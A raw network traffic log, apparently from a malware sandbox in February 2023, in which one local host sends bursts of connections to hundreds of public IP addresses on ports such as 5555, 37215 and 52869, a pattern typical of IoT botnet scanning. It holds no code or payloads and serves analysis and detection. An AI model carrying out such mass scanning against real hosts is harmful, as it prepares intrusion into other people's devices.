Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	171.141.35.136
Feb 12, 2023 21:24:33.587843895 CET	22272	5555	192.168.2.23	83.34.109.153
Feb 12, 2023 21:24:33.587861061 CET	22272	5555	192.168.2.23	156.198.102.192
Feb 12, 2023 21:24:33.587874889 CET	22272	5555	192.168.2.23	157.189.149.24
Feb 12, 2023 21:24:33.587874889 CET	22272	5555	192.168.2.23	110.167.39.211
Feb 12, 2023 21:24:33.587876081 CET	22272	5555	192.168.2.23	222.2.110.108
Feb 12, 2023 21:24:33.587874889 CET	22272	5555	192.168.2.23	171.168.44.201
Feb 12, 2023 21:24:33.587876081 CET	22272	5555	192.168.2.23	35.194.153.51
Feb 12, 2023 21:24:33.587889910 CET	22272	5555	192.168.2.23	143.175.138.73
Feb 12, 2023 21:24:33.587889910 CET	22272	5555	192.168.2.23	171.242.152.55
Feb 12, 2023 21:24:33.587898970 CET	22272	5555	192.168.2.23	53.186.200.227
Feb 12, 2023 21:24:33.587903023 CET	22272	5555	192.168.2.23	72.7.213.79
Feb 12, 2023 21:24:33.587903976 CET	22272	5555	192.168.2.23	70.208.175.252
Feb 12, 2023 21:24:33.587903023 CET	22272	5555	192.168.2.23	53.52.207.24
Feb 12, 2023 21:24:33.587924957 CET	22272	5555	192.168.2.23	70.199.78.11
Feb 12, 2023 21:24:33.587924957 CET	22272	5555	192.168.2.23	138.110.178.80
Feb 12, 2023 21:24:33.587928057 CET	22272	5555	192.168.2.23	103.208.123.154
Feb 12, 2023 21:24:33.587924957 CET	22272	5555	192.168.2.23	126.62.130.120
Feb 12, 2023 21:24:33.587934971 CET	22272	5555	192.168.2.23	138.153.189.250
Feb 12, 2023 21:24:33.587941885 CET	22272	5555	192.168.2.23	44.180.240.58
Feb 12, 2023 21:24:33.587941885 CET	22272	5555	192.168.2.23	193.168.60.141
Feb 12, 2023 21:24:33.587941885 CET	22272	5555	192.168.2.23	183.189.153.82
Feb 12, 2023 21:24:33.587941885 CET	22272	5555	192.168.2.23	100.244.138.56
Feb 12, 2023 21:24:33.587949038 CET	22272	5555	192.168.2.23	117.216.60.60
Feb 12, 2023 21:24:33.587956905 CET	22272	5555	192.168.2.23	38.179.124.155
Feb 12, 2023 21:24:33.587956905 CET	22272	5555	192.168.2.23	217.149.113.84
Feb 12, 2023 21:24:33.587965965 CET	22272	5555	192.168.2.23	148.75.73.113
Feb 12, 2023 21:24:33.587975979 CET	22272	5555	192.168.2.23	164.17.194.135
Feb 12, 2023 21:24:33.588006973 CET	22272	5555	192.168.2.23	195.16.201.84
Feb 12, 2023 21:24:33.588016033 CET	22272	5555	192.168.2.23	17.13.236.149
Feb 12, 2023 21:24:33.588016033 CET	22272	5555	192.168.2.23	196.116.181.210
Feb 12, 2023 21:24:33.588016987 CET	22272	5555	192.168.2.23	83.46.129.70
Feb 12, 2023 21:24:33.588016033 CET	22272	5555	192.168.2.23	129.65.100.213
Feb 12, 2023 21:24:33.588016033 CET	22272	5555	192.168.2.23	42.35.199.120
Feb 12, 2023 21:24:33.588017941 CET	22272	5555	192.168.2.23	198.191.229.254
Feb 12, 2023 21:24:33.588016033 CET	22272	5555	192.168.2.23	80.138.153.213
Feb 12, 2023 21:24:33.588025093 CET	22272	5555	192.168.2.23	136.214.3.83
Feb 12, 2023 21:24:33.588031054 CET	22272	5555	192.168.2.23	75.221.14.127
Feb 12, 2023 21:24:33.588057995 CET	22272	5555	192.168.2.23	217.102.96.250
Feb 12, 2023 21:24:33.588063002 CET	22272	5555	192.168.2.23	98.248.14.152
Feb 12, 2023 21:24:33.588080883 CET	22272	5555	192.168.2.23	75.94.56.135
Feb 12, 2023 21:24:33.588083029 CET	22272	5555	192.168.2.23	36.10.25.144
Feb 12, 2023 21:24:33.588085890 CET	22272	5555	192.168.2.23	218.7.215.81
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	4.17.15.219
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	181.6.78.249
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	154.155.110.230
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	205.237.73.18
Feb 12, 2023 21:24:33.588115931 CET	22272	5555	192.168.2.23	212.56.221.148
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	159.221.208.106
Feb 12, 2023 21:24:33.588108063 CET	22272	5555	192.168.2.23	151.210.3.60
Feb 12, 2023 21:24:33.588131905 CET	22272	5555	192.168.2.23	144.43.93.252
Feb 12, 2023 21:24:33.588131905 CET	22272	5555	192.168.2.23	90.135.246.68
Feb 12, 2023 21:24:33.588134050 CET	22272	5555	192.168.2.23	92.24.57.98
Feb 12, 2023 21:24:33.588135004 CET	22272	5555	192.168.2.23	39.230.53.208
Feb 12, 2023 21:24:33.588134050 CET	22272	5555	192.168.2.23	78.203.182.211
Feb 12, 2023 21:24:33.588135004 CET	22272	5555	192.168.2.23	102.119.66.78
Feb 12, 2023 21:24:33.588166952 CET	22272	5555	192.168.2.23	204.0.76.134
Feb 12, 2023 21:24:33.588210106 CET	22272	5555	192.168.2.23	171.24.0.217
Feb 12, 2023 21:24:33.588258028 CET	22272	5555	192.168.2.23	147.221.198.65
Feb 12, 2023 21:24:33.588258028 CET	22272	5555	192.168.2.23	169.79.225.122
Feb 12, 2023 21:24:33.588258028 CET	22272	5555	192.168.2.23	41.33.42.191
Feb 12, 2023 21:24:33.588258028 CET	22272	5555	192.168.2.23	83.80.77.12
Feb 12, 2023 21:24:33.588268042 CET	22272	5555	192.168.2.23	61.44.41.198
Feb 12, 2023 21:24:33.588268995 CET	22272	5555	192.168.2.23	197.231.145.158
Feb 12, 2023 21:24:33.588268042 CET	22272	5555	192.168.2.23	213.200.151.235
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	162.125.213.212
Feb 12, 2023 21:24:33.588272095 CET	22272	5555	192.168.2.23	48.48.93.154
Feb 12, 2023 21:24:33.588268995 CET	22272	5555	192.168.2.23	189.214.115.195
Feb 12, 2023 21:24:33.588273048 CET	22272	5555	192.168.2.23	194.160.110.41
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	186.11.10.123
Feb 12, 2023 21:24:33.588268042 CET	22272	5555	192.168.2.23	107.245.233.63
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	23.185.38.91
Feb 12, 2023 21:24:33.588268042 CET	22272	5555	192.168.2.23	34.222.50.71
Feb 12, 2023 21:24:33.588274002 CET	22272	5555	192.168.2.23	176.168.47.59
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	131.88.251.193
Feb 12, 2023 21:24:33.588282108 CET	22272	5555	192.168.2.23	58.235.224.1
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	12.144.106.87
Feb 12, 2023 21:24:33.588282108 CET	22272	5555	192.168.2.23	130.31.248.195
Feb 12, 2023 21:24:33.588274002 CET	22272	5555	192.168.2.23	115.213.173.70
Feb 12, 2023 21:24:33.588270903 CET	22272	5555	192.168.2.23	155.63.12.194
Feb 12, 2023 21:24:33.588282108 CET	22272	5555	192.168.2.23	140.117.214.236
Feb 12, 2023 21:24:33.588313103 CET	22272	5555	192.168.2.23	9.82.9.244
Feb 12, 2023 21:24:33.588336945 CET	22272	5555	192.168.2.23	46.220.137.176
Feb 12, 2023 21:24:33.588336945 CET	22272	5555	192.168.2.23	106.4.167.175
Feb 12, 2023 21:24:33.588349104 CET	22272	5555	192.168.2.23	84.160.208.33
Feb 12, 2023 21:24:33.588349104 CET	22272	5555	192.168.2.23	216.55.59.88
Feb 12, 2023 21:24:33.588349104 CET	22272	5555	192.168.2.23	49.54.1.0
Feb 12, 2023 21:24:33.588349104 CET	22272	5555	192.168.2.23	52.25.94.3
Feb 12, 2023 21:24:33.588352919 CET	22272	5555	192.168.2.23	58.171.177.238
Feb 12, 2023 21:24:33.588352919 CET	22272	5555	192.168.2.23	180.228.19.228
Feb 12, 2023 21:24:33.588356018 CET	22272	5555	192.168.2.23	101.224.181.227
Feb 12, 2023 21:24:33.588356018 CET	22272	5555	192.168.2.23	199.19.147.111
Feb 12, 2023 21:24:33.588356018 CET	22272	5555	192.168.2.23	14.34.114.125
Feb 12, 2023 21:24:33.588356018 CET	22272	5555	192.168.2.23	161.25.43.95
Feb 12, 2023 21:24:33.588359118 CET	22272	5555	192.168.2.23	121.110.194.47
Feb 12, 2023 21:24:33.588360071 CET	22272	5555	192.168.2.23	38.99.247.169
Feb 12, 2023 21:24:33.588359118 CET	22272	5555	192.168.2.23	96.201.228.223
Feb 12, 2023 21:24:33.588360071 CET	22272	5555	192.168.2.23	19.225.179.20
Feb 12, 2023 21:24:33.588360071 CET	22272	5555	192.168.2.23	106.7.94.212
Feb 12, 2023 21:24:33.588360071 CET	22272	5555	192.168.2.23	128.62.226.205
Feb 12, 2023 21:24:33.588360071 CET	22272	5555	192.168.2.23	89.203.10.74
Feb 12, 2023 21:24:33.588386059 CET	22272	5555	192.168.2.23	49.152.0.194
Feb 12, 2023 21:24:33.588430882 CET	22272	5555	192.168.2.23	183.213.217.231
Feb 12, 2023 21:24:33.615983963 CET	43024	37215	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:33.616457939 CET	42182	52869	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:33.616467953 CET	41946	52869	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:33.620316029 CET	34430	37215	192.168.2.23	49.48.46.57
Feb 12, 2023 21:24:33.624308109 CET	41364	37215	192.168.2.23	54.54.46.49
Feb 12, 2023 21:24:33.632280111 CET	38546	37215	192.168.2.23	51.49.46.49
Feb 12, 2023 21:24:33.639309883 CET	56230	37215	192.168.2.23	56.49.46.53
Feb 12, 2023 21:24:33.643389940 CET	37215	52981	41.143.111.211	192.168.2.23
Feb 12, 2023 21:24:33.645905972 CET	5555	22272	217.149.113.84	192.168.2.23
Feb 12, 2023 21:24:33.648431063 CET	39914	52869	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:33.655853033 CET	5555	22272	212.56.221.148	192.168.2.23
Feb 12, 2023 21:24:33.678622961 CET	5555	22272	156.198.102.192	192.168.2.23
Feb 12, 2023 21:24:33.680430889 CET	47246	52869	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:33.680447102 CET	37322	52869	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:33.712430954 CET	50122	52869	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:33.712452888 CET	46702	52869	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:33.738820076 CET	37215	52981	41.203.246.223	192.168.2.23
Feb 12, 2023 21:24:33.776905060 CET	37215	52981	41.160.152.217	192.168.2.23
Feb 12, 2023 21:24:33.827754974 CET	37215	52981	157.120.42.99	192.168.2.23
Feb 12, 2023 21:24:33.849986076 CET	5555	22272	14.34.114.125	192.168.2.23
Feb 12, 2023 21:24:33.880664110 CET	37215	52981	157.230.245.99	192.168.2.23
Feb 12, 2023 21:24:33.891581059 CET	5555	22272	122.25.45.87	192.168.2.23
Feb 12, 2023 21:24:33.923718929 CET	5555	22272	36.10.25.144	192.168.2.23
Feb 12, 2023 21:24:33.941906929 CET	42864	7574	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:34.032430887 CET	59484	8080	192.168.2.23	55.56.46.57
Feb 12, 2023 21:24:34.064439058 CET	46054	8080	192.168.2.23	49.57.49.46
Feb 12, 2023 21:24:34.096461058 CET	51256	8080	192.168.2.23	57.56.46.49
Feb 12, 2023 21:24:34.128396988 CET	36046	8080	192.168.2.23	49.49.52.46
Feb 12, 2023 21:24:34.160404921 CET	47824	8080	192.168.2.23	49.48.53.46
Feb 12, 2023 21:24:34.192428112 CET	53400	8080	192.168.2.23	50.50.56.46
Feb 12, 2023 21:24:34.224390030 CET	45916	8080	192.168.2.23	49.56.56.46
Feb 12, 2023 21:24:34.245868921 CET	50312	80	192.168.2.23	49.50.57.46
Feb 12, 2023 21:24:34.256406069 CET	51428	8080	192.168.2.23	49.51.56.46
Feb 12, 2023 21:24:34.288378954 CET	43862	8080	192.168.2.23	57.49.46.53
Feb 12, 2023 21:24:34.320378065 CET	57268	8080	192.168.2.23	49.54.53.46
Feb 12, 2023 21:24:34.562048912 CET	59410	81	192.168.2.23	49.55.55.46
Feb 12, 2023 21:24:34.576129913 CET	52981	37215	192.168.2.23	41.204.205.70
Feb 12, 2023 21:24:34.576131105 CET	52981	37215	192.168.2.23	41.176.23.51
Feb 12, 2023 21:24:34.576136112 CET	52981	37215	192.168.2.23	41.103.142.86
Feb 12, 2023 21:24:34.576137066 CET	52981	37215	192.168.2.23	41.136.68.96
Feb 12, 2023 21:24:34.576188087 CET	52981	37215	192.168.2.23	50.45.253.234
Feb 12, 2023 21:24:34.576188087 CET	52981	37215	192.168.2.23	32.99.119.81
Feb 12, 2023 21:24:34.576209068 CET	52981	37215	192.168.2.23	41.230.245.28
Feb 12, 2023 21:24:34.576210022 CET	52981	37215	192.168.2.23	197.105.30.143
Feb 12, 2023 21:24:34.576235056 CET	52981	37215	192.168.2.23	158.93.101.126
Feb 12, 2023 21:24:34.576235056 CET	52981	37215	192.168.2.23	197.173.28.128
Feb 12, 2023 21:24:34.576277018 CET	52981	37215	192.168.2.23	197.22.90.36
Feb 12, 2023 21:24:34.576283932 CET	52981	37215	192.168.2.23	41.220.131.97
Feb 12, 2023 21:24:34.576297045 CET	52981	37215	192.168.2.23	157.233.77.11
Feb 12, 2023 21:24:34.576297998 CET	52981	37215	192.168.2.23	157.118.56.87
Feb 12, 2023 21:24:34.576308966 CET	52981	37215	192.168.2.23	163.196.143.61
Feb 12, 2023 21:24:34.576407909 CET	52981	37215	192.168.2.23	181.252.133.102
Feb 12, 2023 21:24:34.576445103 CET	52981	37215	192.168.2.23	124.240.254.84
Feb 12, 2023 21:24:34.576450109 CET	52981	37215	192.168.2.23	157.222.181.87
Feb 12, 2023 21:24:34.576452971 CET	52981	37215	192.168.2.23	41.128.1.150
Feb 12, 2023 21:24:34.576464891 CET	52981	37215	192.168.2.23	157.211.41.196
Feb 12, 2023 21:24:34.576483965 CET	52981	37215	192.168.2.23	93.29.28.76
Feb 12, 2023 21:24:34.576483965 CET	52981	37215	192.168.2.23	197.49.242.88
Feb 12, 2023 21:24:34.576488972 CET	52981	37215	192.168.2.23	41.81.188.255
Feb 12, 2023 21:24:34.576535940 CET	52981	37215	192.168.2.23	197.112.115.108
Feb 12, 2023 21:24:34.576554060 CET	52981	37215	192.168.2.23	35.108.30.107
Feb 12, 2023 21:24:34.576555014 CET	52981	37215	192.168.2.23	157.233.215.180
Feb 12, 2023 21:24:34.576555967 CET	52981	37215	192.168.2.23	77.149.136.139
Feb 12, 2023 21:24:34.576592922 CET	52981	37215	192.168.2.23	197.167.76.144
Feb 12, 2023 21:24:34.576592922 CET	52981	37215	192.168.2.23	197.207.25.80
Feb 12, 2023 21:24:34.576610088 CET	52981	37215	192.168.2.23	157.143.31.248
Feb 12, 2023 21:24:34.576611996 CET	52981	37215	192.168.2.23	41.170.93.149
Feb 12, 2023 21:24:34.576611996 CET	52981	37215	192.168.2.23	197.176.181.0
Feb 12, 2023 21:24:34.576647043 CET	52981	37215	192.168.2.23	41.31.200.70
Feb 12, 2023 21:24:34.576658010 CET	52981	37215	192.168.2.23	103.143.88.58
Feb 12, 2023 21:24:34.576689005 CET	52981	37215	192.168.2.23	41.235.245.175
Feb 12, 2023 21:24:34.576694012 CET	52981	37215	192.168.2.23	41.81.123.69
Feb 12, 2023 21:24:34.576699018 CET	52981	37215	192.168.2.23	197.231.124.73
Feb 12, 2023 21:24:34.576703072 CET	52981	37215	192.168.2.23	12.15.248.45
Feb 12, 2023 21:24:34.576703072 CET	52981	37215	192.168.2.23	50.45.108.11
Feb 12, 2023 21:24:34.576745033 CET	52981	37215	192.168.2.23	41.64.140.44
Feb 12, 2023 21:24:34.576744080 CET	52981	37215	192.168.2.23	181.236.11.98
Feb 12, 2023 21:24:34.576745033 CET	52981	37215	192.168.2.23	115.35.33.87
Feb 12, 2023 21:24:34.576780081 CET	52981	37215	192.168.2.23	41.30.199.36
Feb 12, 2023 21:24:34.576807022 CET	52981	37215	192.168.2.23	41.161.33.226
Feb 12, 2023 21:24:34.576814890 CET	52981	37215	192.168.2.23	157.137.187.200
Feb 12, 2023 21:24:34.576852083 CET	52981	37215	192.168.2.23	157.241.182.33
Feb 12, 2023 21:24:34.576864958 CET	52981	37215	192.168.2.23	41.197.103.82
Feb 12, 2023 21:24:34.576898098 CET	52981	37215	192.168.2.23	197.112.51.172
Feb 12, 2023 21:24:34.576919079 CET	52981	37215	192.168.2.23	197.253.146.141
Feb 12, 2023 21:24:34.576919079 CET	52981	37215	192.168.2.23	46.189.111.203
Feb 12, 2023 21:24:34.576920986 CET	52981	37215	192.168.2.23	175.67.93.0
Feb 12, 2023 21:24:34.576931953 CET	52981	37215	192.168.2.23	111.240.229.214
Feb 12, 2023 21:24:34.576937914 CET	52981	37215	192.168.2.23	157.10.242.172
Feb 12, 2023 21:24:34.576972008 CET	52981	37215	192.168.2.23	197.1.189.58
Feb 12, 2023 21:24:34.576996088 CET	52981	37215	192.168.2.23	153.41.198.205
Feb 12, 2023 21:24:34.576997995 CET	52981	37215	192.168.2.23	41.152.150.174
Feb 12, 2023 21:24:34.577037096 CET	52981	37215	192.168.2.23	41.201.65.220
Feb 12, 2023 21:24:34.577044010 CET	52981	37215	192.168.2.23	197.219.215.42
Feb 12, 2023 21:24:34.577074051 CET	52981	37215	192.168.2.23	41.138.6.252
Feb 12, 2023 21:24:34.577089071 CET	52981	37215	192.168.2.23	160.57.56.80
Feb 12, 2023 21:24:34.577089071 CET	52981	37215	192.168.2.23	41.79.181.209
Feb 12, 2023 21:24:34.577114105 CET	52981	37215	192.168.2.23	157.49.63.121
Feb 12, 2023 21:24:34.577145100 CET	52981	37215	192.168.2.23	197.34.216.22
Feb 12, 2023 21:24:34.577148914 CET	52981	37215	192.168.2.23	123.141.119.56
Feb 12, 2023 21:24:34.577148914 CET	52981	37215	192.168.2.23	197.128.138.104
Feb 12, 2023 21:24:34.577152967 CET	52981	37215	192.168.2.23	157.27.221.81
Feb 12, 2023 21:24:34.577152967 CET	52981	37215	192.168.2.23	150.27.150.124
Feb 12, 2023 21:24:34.577197075 CET	52981	37215	192.168.2.23	41.173.175.105
Feb 12, 2023 21:24:34.577198029 CET	52981	37215	192.168.2.23	197.226.157.207
Feb 12, 2023 21:24:34.577246904 CET	52981	37215	192.168.2.23	157.182.13.38
Feb 12, 2023 21:24:34.577249050 CET	52981	37215	192.168.2.23	197.205.138.183
Feb 12, 2023 21:24:34.577250957 CET	52981	37215	192.168.2.23	157.43.12.229
Feb 12, 2023 21:24:34.577249050 CET	52981	37215	192.168.2.23	157.148.90.91
Feb 12, 2023 21:24:34.577250004 CET	52981	37215	192.168.2.23	157.56.73.251
Feb 12, 2023 21:24:34.577277899 CET	52981	37215	192.168.2.23	197.173.193.77
Feb 12, 2023 21:24:34.577301979 CET	52981	37215	192.168.2.23	197.107.11.60
Feb 12, 2023 21:24:34.577302933 CET	52981	37215	192.168.2.23	197.18.86.52
Feb 12, 2023 21:24:34.577308893 CET	52981	37215	192.168.2.23	197.87.10.225
Feb 12, 2023 21:24:34.577343941 CET	52981	37215	192.168.2.23	41.217.12.102
Feb 12, 2023 21:24:34.577358007 CET	52981	37215	192.168.2.23	41.222.155.249
Feb 12, 2023 21:24:34.577358007 CET	52981	37215	192.168.2.23	157.189.170.60
Feb 12, 2023 21:24:34.577368975 CET	52981	37215	192.168.2.23	41.58.107.135
Feb 12, 2023 21:24:34.577406883 CET	52981	37215	192.168.2.23	41.137.255.16
Feb 12, 2023 21:24:34.577425003 CET	52981	37215	192.168.2.23	170.26.208.126
Feb 12, 2023 21:24:34.577471018 CET	52981	37215	192.168.2.23	197.80.63.164
Feb 12, 2023 21:24:34.577496052 CET	52981	37215	192.168.2.23	197.223.239.228
Feb 12, 2023 21:24:34.577497005 CET	52981	37215	192.168.2.23	157.182.16.145
Feb 12, 2023 21:24:34.577557087 CET	52981	37215	192.168.2.23	157.64.254.59
Feb 12, 2023 21:24:34.577558994 CET	52981	37215	192.168.2.23	95.209.217.143
Feb 12, 2023 21:24:34.577569962 CET	52981	37215	192.168.2.23	197.202.178.138
Feb 12, 2023 21:24:34.577590942 CET	52981	37215	192.168.2.23	114.14.197.35
Feb 12, 2023 21:24:34.577590942 CET	52981	37215	192.168.2.23	87.188.19.167
Feb 12, 2023 21:24:34.577590942 CET	52981	37215	192.168.2.23	157.9.83.25
Feb 12, 2023 21:24:34.577640057 CET	52981	37215	192.168.2.23	197.2.124.32
Feb 12, 2023 21:24:34.577657938 CET	52981	37215	192.168.2.23	197.95.235.58
Feb 12, 2023 21:24:34.577678919 CET	52981	37215	192.168.2.23	41.184.3.102
Feb 12, 2023 21:24:34.577702045 CET	52981	37215	192.168.2.23	197.72.157.168
Feb 12, 2023 21:24:34.577711105 CET	52981	37215	192.168.2.23	157.214.238.137
Feb 12, 2023 21:24:34.577749014 CET	52981	37215	192.168.2.23	121.214.227.174
Feb 12, 2023 21:24:34.577749014 CET	52981	37215	192.168.2.23	147.8.223.215
Feb 12, 2023 21:24:34.577770948 CET	52981	37215	192.168.2.23	197.125.79.225
Feb 12, 2023 21:24:34.577792883 CET	52981	37215	192.168.2.23	41.144.190.6
Feb 12, 2023 21:24:34.577797890 CET	52981	37215	192.168.2.23	157.188.125.176
Feb 12, 2023 21:24:34.577797890 CET	52981	37215	192.168.2.23	157.137.153.132
Feb 12, 2023 21:24:34.577830076 CET	52981	37215	192.168.2.23	197.71.174.19
Feb 12, 2023 21:24:34.577830076 CET	52981	37215	192.168.2.23	157.121.114.75
Feb 12, 2023 21:24:34.577857018 CET	52981	37215	192.168.2.23	69.140.247.98
Feb 12, 2023 21:24:34.577862024 CET	52981	37215	192.168.2.23	157.249.190.83
Feb 12, 2023 21:24:34.577862978 CET	52981	37215	192.168.2.23	143.177.57.20
Feb 12, 2023 21:24:34.577872038 CET	52981	37215	192.168.2.23	157.225.93.187
Feb 12, 2023 21:24:34.577914000 CET	52981	37215	192.168.2.23	157.65.31.160
Feb 12, 2023 21:24:34.577933073 CET	52981	37215	192.168.2.23	157.240.100.174
Feb 12, 2023 21:24:34.577939987 CET	52981	37215	192.168.2.23	157.29.65.15
Feb 12, 2023 21:24:34.577939034 CET	52981	37215	192.168.2.23	41.134.237.201
Feb 12, 2023 21:24:34.577939987 CET	52981	37215	192.168.2.23	197.225.169.38
Feb 12, 2023 21:24:34.577948093 CET	52981	37215	192.168.2.23	130.10.136.102
Feb 12, 2023 21:24:34.577977896 CET	52981	37215	192.168.2.23	41.88.130.184
Feb 12, 2023 21:24:34.577996969 CET	52981	37215	192.168.2.23	41.28.26.146
Feb 12, 2023 21:24:34.578007936 CET	52981	37215	192.168.2.23	144.165.140.211
Feb 12, 2023 21:24:34.578023911 CET	52981	37215	192.168.2.23	157.124.231.87
Feb 12, 2023 21:24:34.578046083 CET	52981	37215	192.168.2.23	41.254.153.5
Feb 12, 2023 21:24:34.578058004 CET	52981	37215	192.168.2.23	41.23.59.202
Feb 12, 2023 21:24:34.578072071 CET	52981	37215	192.168.2.23	41.31.20.76
Feb 12, 2023 21:24:34.578072071 CET	52981	37215	192.168.2.23	41.152.173.118
Feb 12, 2023 21:24:34.578099012 CET	52981	37215	192.168.2.23	197.107.63.90
Feb 12, 2023 21:24:34.578099012 CET	52981	37215	192.168.2.23	41.211.140.136
Feb 12, 2023 21:24:34.578107119 CET	52981	37215	192.168.2.23	32.109.64.216
Feb 12, 2023 21:24:34.578119993 CET	52981	37215	192.168.2.23	41.177.128.59
Feb 12, 2023 21:24:34.578134060 CET	52981	37215	192.168.2.23	157.188.1.89
Feb 12, 2023 21:24:34.578140974 CET	52981	37215	192.168.2.23	41.209.237.220
Feb 12, 2023 21:24:34.578157902 CET	52981	37215	192.168.2.23	157.27.51.13
Feb 12, 2023 21:24:34.578190088 CET	52981	37215	192.168.2.23	41.136.109.33
Feb 12, 2023 21:24:34.578202009 CET	52981	37215	192.168.2.23	157.232.155.20
Feb 12, 2023 21:24:34.578217983 CET	52981	37215	192.168.2.23	157.134.82.121
Feb 12, 2023 21:24:34.578227043 CET	52981	37215	192.168.2.23	178.44.37.211
Feb 12, 2023 21:24:34.578238010 CET	52981	37215	192.168.2.23	157.82.37.143
Feb 12, 2023 21:24:34.578238010 CET	52981	37215	192.168.2.23	41.254.145.74
Feb 12, 2023 21:24:34.578272104 CET	52981	37215	192.168.2.23	107.71.0.53
Feb 12, 2023 21:24:34.578275919 CET	52981	37215	192.168.2.23	157.212.151.44
Feb 12, 2023 21:24:34.578296900 CET	52981	37215	192.168.2.23	157.220.250.85
Feb 12, 2023 21:24:34.578314066 CET	52981	37215	192.168.2.23	75.55.219.170
Feb 12, 2023 21:24:34.578330040 CET	52981	37215	192.168.2.23	154.52.85.48
Feb 12, 2023 21:24:34.578357935 CET	52981	37215	192.168.2.23	41.41.144.88
Feb 12, 2023 21:24:34.578358889 CET	52981	37215	192.168.2.23	41.59.67.123
Feb 12, 2023 21:24:34.578378916 CET	52981	37215	192.168.2.23	41.170.13.62
Feb 12, 2023 21:24:34.578397036 CET	52981	37215	192.168.2.23	157.204.61.38
Feb 12, 2023 21:24:34.578418970 CET	52981	37215	192.168.2.23	197.222.17.93
Feb 12, 2023 21:24:34.578427076 CET	52981	37215	192.168.2.23	41.88.13.108
Feb 12, 2023 21:24:34.578454971 CET	52981	37215	192.168.2.23	13.229.34.156
Feb 12, 2023 21:24:34.578454971 CET	52981	37215	192.168.2.23	157.25.97.228
Feb 12, 2023 21:24:34.578465939 CET	52981	37215	192.168.2.23	180.128.58.242
Feb 12, 2023 21:24:34.578490973 CET	52981	37215	192.168.2.23	157.167.228.183
Feb 12, 2023 21:24:34.578501940 CET	52981	37215	192.168.2.23	197.161.115.22
Feb 12, 2023 21:24:34.578521967 CET	52981	37215	192.168.2.23	157.129.106.85
Feb 12, 2023 21:24:34.578541040 CET	52981	37215	192.168.2.23	23.75.23.128
Feb 12, 2023 21:24:34.578553915 CET	52981	37215	192.168.2.23	197.1.96.69
Feb 12, 2023 21:24:34.578553915 CET	52981	37215	192.168.2.23	41.39.135.90
Feb 12, 2023 21:24:34.578594923 CET	52981	37215	192.168.2.23	157.130.174.232
Feb 12, 2023 21:24:34.578599930 CET	52981	37215	192.168.2.23	84.21.130.49
Feb 12, 2023 21:24:34.578602076 CET	52981	37215	192.168.2.23	41.114.129.2
Feb 12, 2023 21:24:34.578630924 CET	52981	37215	192.168.2.23	197.120.133.182
Feb 12, 2023 21:24:34.578630924 CET	52981	37215	192.168.2.23	197.144.217.219
Feb 12, 2023 21:24:34.578636885 CET	52981	37215	192.168.2.23	197.227.54.214
Feb 12, 2023 21:24:34.578686953 CET	52981	37215	192.168.2.23	41.212.69.228
Feb 12, 2023 21:24:34.578686953 CET	52981	37215	192.168.2.23	197.159.47.144
Feb 12, 2023 21:24:34.578707933 CET	52981	37215	192.168.2.23	41.81.166.11
Feb 12, 2023 21:24:34.578722000 CET	52981	37215	192.168.2.23	151.233.6.91
Feb 12, 2023 21:24:34.578728914 CET	52981	37215	192.168.2.23	197.102.240.196
Feb 12, 2023 21:24:34.578731060 CET	52981	37215	192.168.2.23	157.65.151.224
Feb 12, 2023 21:24:34.578731060 CET	52981	37215	192.168.2.23	197.42.196.30
Feb 12, 2023 21:24:34.578763008 CET	52981	37215	192.168.2.23	185.126.65.82
Feb 12, 2023 21:24:34.578773022 CET	52981	37215	192.168.2.23	41.247.52.165
Feb 12, 2023 21:24:34.578787088 CET	52981	37215	192.168.2.23	53.10.169.118
Feb 12, 2023 21:24:34.578787088 CET	52981	37215	192.168.2.23	157.158.162.29
Feb 12, 2023 21:24:34.578787088 CET	52981	37215	192.168.2.23	41.100.71.156
Feb 12, 2023 21:24:34.578792095 CET	52981	37215	192.168.2.23	102.184.172.36
Feb 12, 2023 21:24:34.578809977 CET	52981	37215	192.168.2.23	43.244.196.14
Feb 12, 2023 21:24:34.578835964 CET	52981	37215	192.168.2.23	157.117.19.245
Feb 12, 2023 21:24:34.578835964 CET	52981	37215	192.168.2.23	87.112.16.232
Feb 12, 2023 21:24:34.578862906 CET	52981	37215	192.168.2.23	41.193.227.226
Feb 12, 2023 21:24:34.578891039 CET	52981	37215	192.168.2.23	41.2.205.87
Feb 12, 2023 21:24:34.578891039 CET	52981	37215	192.168.2.23	41.65.194.255
Feb 12, 2023 21:24:34.578908920 CET	52981	37215	192.168.2.23	41.16.173.194
Feb 12, 2023 21:24:34.578936100 CET	52981	37215	192.168.2.23	4.244.146.147
Feb 12, 2023 21:24:34.578936100 CET	52981	37215	192.168.2.23	41.216.48.89
Feb 12, 2023 21:24:34.578944921 CET	52981	37215	192.168.2.23	88.153.63.92
Feb 12, 2023 21:24:34.578962088 CET	52981	37215	192.168.2.23	186.147.143.27
Feb 12, 2023 21:24:34.578975916 CET	52981	37215	192.168.2.23	86.91.95.113
Feb 12, 2023 21:24:34.578975916 CET	52981	37215	192.168.2.23	94.96.110.65
Feb 12, 2023 21:24:34.579003096 CET	52981	37215	192.168.2.23	197.152.217.186
Feb 12, 2023 21:24:34.579009056 CET	52981	37215	192.168.2.23	132.86.109.144
Feb 12, 2023 21:24:34.579034090 CET	52981	37215	192.168.2.23	157.165.108.153
Feb 12, 2023 21:24:34.579049110 CET	52981	37215	192.168.2.23	101.174.149.73
Feb 12, 2023 21:24:34.579057932 CET	52981	37215	192.168.2.23	157.48.128.143
